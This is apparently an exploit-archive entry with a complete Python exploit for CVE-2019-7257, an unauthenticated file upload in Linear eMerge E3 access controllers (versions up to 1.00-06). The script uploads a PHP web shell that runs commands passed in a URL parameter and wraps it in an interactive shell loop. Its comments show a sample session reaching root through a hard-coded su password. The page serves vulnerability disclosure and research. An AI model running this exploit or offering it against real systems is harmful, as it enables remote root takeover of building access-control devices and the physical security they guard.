Linear eMerge E3 1.00-06 Arbitrary File Upload Remote Root Code Execution

Linear eMerge E3 versions 1.00-06 and below arbitrary file upload remote root code execution exploit.


MD5 | 7cb54d49b3539c9a3b2258832481a863

#!/usr/bin/env python
#
# Linear eMerge E3 Arbitrary File Upload Remote Root Code Execution
# Affected version: <=1.00-06
# CVE: CVE-2019-7257
# Advisory: https://applied-risk.com/resources/ar-2019-005
#
# Discovered by Gjoko 'LiquidWorm' Krstic
#
#####################################################################
#
# [email protected]:~/stuff$ python e3upload.py 192.168.1.2
# Starting exploit at 17.01.2019 13:04:17
#
# [email protected]:/spider/web/webroot/badging/bg$ id
# uid=1003(lighttpd) gid=0(root)
#
# [email protected]:/spider/web/webroot/badging/bg$ echo davestyle | su -c id
# Password:
# uid=0(root) gid=0(root) groups=0(root)
#
# [email protected]:/spider/web/webroot/badging/bg$ exit
#
# [+] Deleting webshell.php file...
# [+] Done!
#
#####################################################################

import datetime
import requests
import sys#####
import os######

piton = os.path.basename(sys.argv[0])

badge = "/badging/badge_layout_new_v0.php"
shell = "/badging/bg/webshell.php"

if len(sys.argv) < 2:
print "\n\x20\x20[*] Usage: "+piton+" <ipaddress:port>\n"
sys.exit()

ipaddr = sys.argv[1]
vremetodeneska = datetime.datetime.now()

print "Starting exploit at "+vremetodeneska.strftime("%d.%m.%Y %H:%M:%S")
print

while True:
try:
target = "http://"+ipaddr+badge

headers = {"User-Agent": "Brozilla/16.0",
"Accept": "anything",
"Accept-Language": "mk-MK,mk;q=0.7",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "multipart/form-data; boundary=----j",
"Connection": "close"}

payload = ("------j\r\nContent-Disposition: form-da"
"ta; name=\"layout_name\"\r\n\r\nwebshel"
"l.php\r\n------j\r\nContent-Disposition"
": form-data; name=\"bg\"; filename=\"we"
"bshell.php\"\r\nContent-Type: applicati"
"on/octet-stream\r\n\r\n<?\nif($_GET['cm"
"d']) {\n system($_GET['cmd']);\n }\n?"
">\n\r\n------j--\r\n")

requests.post(target, headers=headers, data=payload)

cmd = raw_input("[email protected]"+ipaddr+":/spider/web/webroot/badging/bg$ ")
execute = requests.get("http://"+ipaddr+shell+"?cmd="+cmd)
print execute.text
if cmd.strip() == "exit":
print "[+] Deleting webshell.php file..."
requests.get("http://"+ipaddr+shell+"?cmd=rm%20webshell.php")
print "[+] Done!\n"
break
else: continue
except Exception:
print "Error!"
break

sys.exit()

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